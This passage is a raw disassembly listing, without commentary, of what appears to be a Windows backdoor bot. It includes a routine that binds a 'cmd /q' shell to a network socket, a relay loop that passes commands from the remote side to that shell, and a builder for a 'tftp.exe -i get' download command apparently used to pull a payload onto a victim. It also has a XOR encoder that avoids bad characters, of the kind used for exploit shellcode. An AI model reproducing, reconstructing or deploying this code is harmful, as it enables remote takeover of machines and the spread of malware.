call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416672 nop call near ptr 2630B7Ah push eax push offset dword_439244 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 27B093Ah loc_41666B: ; CODE XREF: sub_4165C6+69j xor eax, eax jmp loc_416712 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_4165C6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27C0D5Ch sub eax, ebx jz short loc_4166CC dec eax jz short loc_4166C6 dec eax jz short loc_4166B2 nop call near ptr 2630B7Ah push eax push offset dword_439200 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165C6+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166C6: ; CODE XREF: sub_4165C6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166D0 ; --------------------------------------------------------------------------- loc_4166CC: ; CODE XREF: sub_4165C6+CFj push ebx push dword ptr [esi+14h] loc_4166D0: ; CODE XREF: sub_4165C6+104j nop call near ptr 27B093Ah push 1 push dword ptr [esi+8] call near ptr 27B0BA2h nop loc_4166E1: ; CODE XREF: sub_4165C6+EAj ; sub_4165C6+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43F700 push esi call sub_417C3B pop ecx push 1 pop eax loc_416712: ; CODE XREF: sub_4165C6+A7j pop edi pop esi pop ebx leave retn sub_4165C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416717 proc near ; CODE XREF: sub_4165C6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_416801 mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_41677A nop call near ptr 2630B7Ah push eax push offset dword_439324 jmp short loc_41679A ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416717+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A2 nop call near ptr 2630B7Ah push eax push offset dword_4392D4 loc_41679A: ; CODE XREF: sub_416717+61j call sub_40BFE1 pop ecx jmp short loc_4167D0 ; --------------------------------------------------------------------------- loc_4167A2: ; CODE XREF: sub_416717+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416810 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416805 push offset dword_43929C call sub_40BF6D loc_4167D0: ; CODE XREF: sub_416717+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DC push [ebp+var_4] call edi loc_4167DC: ; CODE XREF: sub_416717+BEj cmp [ebp+var_8], 0 jz short loc_4167E7 push [ebp+var_8] call edi loc_4167E7: ; CODE XREF: sub_416717+C9j mov eax, [esi] test eax, eax jz short loc_4167F0 push eax call edi loc_4167F0: ; CODE XREF: sub_416717+D4j mov eax, [esi+4] test eax, eax jz short loc_4167FA push eax call edi loc_4167FA: ; CODE XREF: sub_416717+DEj push esi call sub_417C3B pop ecx loc_416801: ; CODE XREF: sub_416717+1Dj xor eax, eax jmp short loc_41680B ; --------------------------------------------------------------------------- loc_416805: ; CODE XREF: sub_416717+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41680B: ; CODE XREF: sub_416717+ECj pop edi pop esi pop ebx leave retn sub_416717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416717+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 276084Fh lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 274060Ah nop test eax, eax jz short loc_4168CC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4450C8[eax], ecx nop call near ptr 2610978h jmp short loc_4168E2 ; --------------------------------------------------------------------------- loc_4168CC: ; CODE XREF: sub_416810+9Aj call near ptr 2630B7Ah nop push eax push offset dword_439374 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E2: ; CODE XREF: sub_416810+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416912: ; CODE XREF: sub_4168E9+8Fj call ebx test eax, eax jz short loc_41697A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694D loc_416923: ; CODE XREF: sub_4168E9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693D cmp dl, 0Dh jz short loc_41693D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693D: ; CODE XREF: sub_4168E9+44j ; sub_4168E9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416923 loc_41694D: ; CODE XREF: sub_4168E9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_41697A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416912 ; --------------------------------------------------------------------------- loc_41697A: ; CODE XREF: sub_4168E9+2Dj ; sub_4168E9+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416996 call esi push eax push offset dword_4393C0 call sub_40BFE1 pop ecx pop ecx loc_416996: ; CODE XREF: sub_4168E9+9Cj pop edi pop esi pop ebx leave retn sub_4168E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41699B proc near ; DATA XREF: sub_4165C6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B4: ; CODE XREF: sub_41699B+39j ; sub_41699B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43F680 test eax, eax jle loc_416AB9 cmp [ebp+var_10], ebx jbe short loc_4169D6 dec [ebp+var_10] jmp short loc_4169B4 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_41699B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A99 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A46 cmp al, 7Fh jz short loc_416A46 cmp al, 3 jnz short loc_416A01 push ebx push ebx call near ptr 27D0000h nop jmp short loc_416A6D ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_41699B+5Aj cmp al, 15h jnz short loc_416A23 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A23: ; CODE XREF: sub_41699B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A5A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A46: ; CODE XREF: sub_41699B+52j ; sub_41699B+56j cmp esi, ebx jbe short loc_416A70 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A59: ; CODE XREF: sub_41699B+86j ; sub_41699B+A9j pop ecx loc_416A5A: ; CODE XREF: sub_41699B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_416AB9 loc_416A6D: ; CODE XREF: sub_41699B+64j mov al, byte ptr [ebp+arg_0+3] loc_416A70: ; CODE XREF: sub_41699B+ADj cmp al, 0Dh jnz loc_4169B4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2620000h nop test eax, eax jz short loc_416AB9 xor esi, esi jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41699B+47j cmp [ebp+var_C], ebx jnz short loc_416AAA mov [ebp+var_C], 1 jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AAA: ; CODE XREF: sub_41699B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AB9: ; CODE XREF: sub_41699B+2Bj ; sub_41699B+D0j ... pop edi pop esi pop ebx leave retn sub_41699B endp ; =============== S U B R O U T I N E ======================================= sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap ; sub_416BB6+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADE proc near ; CODE XREF: sub_416BCD+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AFB xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AFB: ; CODE XREF: sub_416ADE+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_4394A0, eax lea eax, [edi+1] mov dword_4394C1, eax lea eax, [edi+17h] mov dword_4394B9, eax pop eax push 74h sub eax, edi push offset dword_43943C push ebx mov dword_4394CF, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_4394C5 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADE endp ; =============== S U B R O U T I N E ======================================= sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABE push eax call sub_416C3A add esp, 0Ch retn sub_416BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB6 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BED cmp eax, 0FFFFh jbe short loc_416BF1 loc_416BED: ; CODE XREF: sub_416BCD+17j xor eax, eax jmp short loc_416C36 ; --------------------------------------------------------------------------- loc_416BF1: ; CODE XREF: sub_416BCD+1Ej push esi push edi push ebx call sub_416ABE add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABE pop ecx pop ecx push eax push esi call sub_416ADE push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C55 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C36: ; CODE XREF: sub_416BCD+22j pop edi pop ebx pop ebp retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep ; sub_416C55+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C43 inc ecx loc_416C43: ; CODE XREF: sub_416C3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C55 proc near ; CODE XREF: sub_416BCD+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C71 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C74 loc_416C71: ; CODE XREF: sub_416C55+8j ; sub_416C55+Ej ... inc [ebp+arg_C] loc_416C74: ; CODE XREF: sub_416C55+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9C mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C95 cmp al, 0Dh jz short loc_416C95 cmp al, 5Ch jz short loc_416C95 test al, al jnz short loc_416C9C loc_416C95: ; CODE XREF: sub_416C55+32j ; sub_416C55+36j ... add [ebp+arg_C], 100h loc_416C9C: ; CODE XREF: sub_416C55+28j ; sub_416C55+3Ej push [ebp+arg_C] call sub_416C3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB4 cmp eax, 0FFFFh jbe short loc_416CBB loc_416CB4: ; CODE XREF: sub_416C55+56j xor eax, eax jmp loc_416D59 ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416C55+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_489FE8 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CEB loc_416CCF: ; CODE XREF: sub_416C55+94j mov al, [edx+edi] xor al, bl jz short loc_416CE2 cmp al, 0Ah jz short loc_416CE2 cmp al, 0Dh jz short loc_416CE2 cmp al, 5Ch jnz short loc_416CE6 loc_416CE2: ; CODE XREF: sub_416C55+7Fj ; sub_416C55+83j ... inc bl xor edx, edx loc_416CE6: ; CODE XREF: sub_416C55+8Bj inc edx cmp edx, ecx jb short loc_416CCF loc_416CEB: ; CODE XREF: sub_416C55+78j cmp ecx, esi mov byte_489FE8, bl ja short loc_416D17 push 15h push offset loc_439424 push [ebp+arg_0] mov byte_439431, cl mov byte_439435, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D38 ; --------------------------------------------------------------------------- loc_416D17: ; CODE XREF: sub_416C55+9Ej push 17h push offset loc_43940C push [ebp+arg_0] mov word_43941A, cx mov byte_43941F, bl call sub_417390 add esp, 0Ch push 17h loc_416D38: ; CODE XREF: sub_416C55+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D54 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D46: ; CODE XREF: sub_416C55+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D46 loc_416D54: ; CODE XREF: sub_416C55+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D59: ; CODE XREF: sub_416C55+61j pop esi leave retn sub_416C55 endp ; =============== S U B R O U T I N E ======================================= sub_416D5C proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_444EC0 loc_416D64: ; CODE XREF: sub_416D5C+18j cmp byte ptr [eax], 0 jz short loc_416D78 add eax, 234h inc edi cmp eax, offset dword_489C50 jl short loc_416D64 jmp short loc_416DC3 ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: sub_416D5C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_444EC0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4450C0[esi], eax and dword_4450C4[esi], 0 mov eax, [esp+8+arg_8] and dword_4450C8[esi], 0 mov dword_4450CC[esi], eax and byte_4450D8[esi], 0 pop esi loc_416DC3: ; CODE XREF: sub_416D5C+1Aj mov eax, edi pop edi retn sub_416D5C endp ; --------------------------------------------------------------------------- byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh dd 26Ch, 6A14C483h, 4BE89000h, 5F021B95h, 0EC8B555Eh, 200EC81h dd 57560000h, 75FF006Ah, 95006810h, 75FF0043h, 875FF0Ch dd 0FF6840E8h, 14C483FFh, 0C0BEFF33h, 8000444Eh, 3C74003Eh dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh dd 437E80h, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h dd 81470000h, 489C50FEh, 5FB07C00h ; --------------------------------------------------------------------------- pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p ; sub_416F25+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1F cmp esi, 1F4h jge short loc_416F1F imul esi, 234h push edi push ebx push dword_4450D4[esi] lea edi, dword_4450D4[esi] nop call near ptr 27B093Ah cmp [edi], ebx jz short loc_416ECF push 1 pop ebp loc_416ECF: ; CODE XREF: sub_416E97+33j mov [edi], ebx lea edi, dword_4450C8[esi] mov dword_4450C0[esi], ebx mov dword_4450C4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EF0 push eax call sub_415419 pop ecx loc_416EF0: ; CODE XREF: sub_416E97+50j mov [edi], ebx lea edi, dword_4450CC[esi] mov byte ptr dword_444EC0[esi], bl mov byte_4450D8[esi], bl push dword ptr [edi] call dword_43F700 lea esi, dword_4450D0[esi] mov [edi], ebx push dword ptr [esi] call dword_43F700 mov [esi], ebx pop edi loc_416F1F: ; CODE XREF: sub_416E97+Dj ; sub_416E97+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E97 endp ; =============== S U B R O U T I N E ======================================= sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_444EC0 loc_416F31: ; CODE XREF: sub_416F25+2Aj cmp byte ptr [esi], 0 jz short loc_416F42 push edi call sub_416E97 test eax, eax pop ecx jz short loc_416F42 inc ebx loc_416F42: ; CODE XREF: sub_416F25+Fj ; sub_416F25+1Aj add esi, 234h inc edi cmp esi, offset dword_489C50 jl short loc_416F31 pop edi mov eax, ebx pop esi pop ebx retn sub_416F25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4450C4 loc_416F6B: ; CODE XREF: sub_416F57+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8D test edi, edi jle short loc_416F7F cmp [esi], edi jz short loc_416F7F cmp ebx, edi jnz short loc_416F8D loc_416F7F: ; CODE XREF: sub_416F57+1Ej ; sub_416F57+22j push ebx call sub_416E97 test eax, eax pop ecx jz short loc_416F8D inc [ebp+var_4] loc_416F8D: ; CODE XREF: sub_416F57+1Aj ; sub_416F57+26j ... add esi, 234h inc ebx cmp esi, offset dword_489E54 jl short loc_416F6B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F57 endp ; =============== S U B R O U T I N E ======================================= sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4450C0 loc_416FAB: ; CODE XREF: sub_416FA4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB4 inc eax loc_416FB4: ; CODE XREF: sub_416FA4+Dj add ecx, 234h cmp ecx, offset dword_489E50 jl short loc_416FAB retn sub_416FA4 endp ; =============== S U B R O U T I N E ======================================= sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4450C0 loc_416FCD: ; CODE XREF: sub_416FC3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE6 add ecx, 234h inc edx cmp ecx, offset dword_489E50 jl short loc_416FCD pop esi retn ; --------------------------------------------------------------------------- loc_416FE6: ; CODE XREF: sub_416FC3+10j mov eax, edx pop esi retn sub_416FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417003 push [ebp+arg_1C] call sub_41781F pop ecx loc_417003: ; CODE XREF: sub_416FEA+Ej push eax push [ebp+arg_18] call sub_416F57 pop ecx test eax, eax pop ecx jle short loc_41702F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172B0 add esp, 14h jmp short loc_417049 ; --------------------------------------------------------------------------- loc_41702F: ; CODE XREF: sub_416FEA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172B0 add esp, 10h loc_417049: ; CODE XREF: sub_416FEA+43j cmp [ebp+arg_C], 0 jnz short loc_417069 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417069: ; CODE XREF: sub_416FEA+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FEA endp ; =============== S U B R O U T I N E ======================================= sub_417078 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_4450D4[eax], ecx mov dword_4450C0[eax], ecx mov dword_4450C4[eax], ecx mov dword_4450C8[eax], ecx mov dword_4450CC[eax], ecx mov dword_4450D0[eax], ecx mov byte ptr dword_444EC0[eax], cl mov byte_4450D8[eax], cl retn sub_417078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p ; sub_4171E3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BF: ; CODE XREF: sub_4170B5+68j mov cl, [esi] test cl, cl jz short loc_41711F cmp eax, 1 jnz short loc_41711F mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711F cmp cl, 2Ah jz short loc_417106 cmp cl, 3Fh jz short loc_4170E9 cmp cl, 5Bh jz short loc_4170EE xor eax, eax cmp cl, dl setz al loc_4170E9: ; CODE XREF: sub_4170B5+26j inc [ebp+arg_4] jmp short loc_417119 ; --------------------------------------------------------------------------- loc_4170EE: ; CODE XREF: sub_4170B5+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41714B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417119 ; --------------------------------------------------------------------------- loc_417106: ; CODE XREF: sub_4170B5+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417119: ; CODE XREF: sub_4170B5+37j ; sub_4170B5+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BF ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_4170B5+Ej ; sub_4170B5+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712F cmp eax, 1 jnz short loc_417146 inc esi mov [ebp+arg_0], esi jmp short loc_41711F ; --------------------------------------------------------------------------- loc_41712F: ; CODE XREF: sub_4170B5+6Dj cmp eax, 1 jnz short loc_417146 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417146 cmp byte ptr [esi], 0 jnz short loc_417146 push 1 pop eax jmp short loc_417148 ; --------------------------------------------------------------------------- loc_417146: ; CODE XREF: sub_4170B5+72j ; sub_4170B5+7Dj ... xor eax, eax loc_417148: ; CODE XREF: sub_4170B5+8Fj pop esi pop ebp retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41714B proc near ; CODE XREF: sub_4170B5+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41716C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716C: ; CODE XREF: sub_41714B+19j push ebx push esi loc_41716E: ; CODE XREF: sub_41714B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717C cmp [ebp+var_4], eax jnz short loc_4171C8 loc_41717C: ; CODE XREF: sub_41714B+2Aj test edi, edi jnz short loc_4171BD cmp bl, 2Dh jnz short loc_4171B1 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171B1 cmp al, 5Dh jz short 